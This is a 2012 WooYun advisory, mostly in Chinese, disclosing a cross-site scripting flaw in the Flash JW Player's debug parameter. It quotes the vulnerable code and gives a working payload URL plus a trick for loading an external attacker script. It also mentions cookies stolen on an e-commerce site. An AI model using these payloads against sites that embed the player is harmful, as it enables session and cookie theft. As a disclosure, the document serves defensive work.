漏洞概要 关注数(24) 关注此漏洞
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漏洞详情
披露状态：
2012-05-15： 积极联系厂商并且等待厂商认领中，细节不对外公开
2012-05-15： 厂商已经主动忽略漏洞，细节向公众公开
简要描述：
国外的一款播放器，使用网站数量超过百万，官方介绍：“LongTail Video is a New York-based startup that has pioneered the web video market. Our flagship product the - JW Player - is active on over one million websites and streams billions of videos each month.”
该FLASH版本视频播放器代码编写上存在一处安全问题，利用之前我所用到的技巧，可以进行跨站攻击。
它自己主站跨站到无所谓啦，但是用到这个播放器的其它网站就难说了。
比如中国的“去哪儿” ，美国的某某某某站。。
详细说明：
A Xss vulnerability in JWPlayer
Test Browser: IE , Firefox.
Test Platform: Win 7.
1. The Bug code in
package com.longtailvideo.jwplayer.utils
class Logger
private static function send(_arg1:String):void
if (ExternalInterface.available){
ExternalInterface.call(_config.debug, text);<---directly use _config.debug
};
2. The _config.debug is directly used as the first parameter of ExternalInterface.call. And the _config is loaded from loaderInfo.parameters. Therefore, when we construct a link such as " jwplayer.swf?debug=(function(){alert('xxx')})() ", the passed-in javascript code will be run.
3. Then we can use the trick location.href='javascript:"<script src={js file url}></script>"' to load and run external javascript file.
Test encoded evil code:
4. That's all
漏洞证明：
1. Simple Alert
2. Stolen Cookies in a chinese e-commerce website.
修复方案：
Limit the length of "debug" parameters and check its content.
版权声明：转载请注明来源 gainover@乌云
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漏洞回应
厂商回应：
未能联系到厂商或者厂商积极拒绝
漏洞Rank：5 (WooYun评价)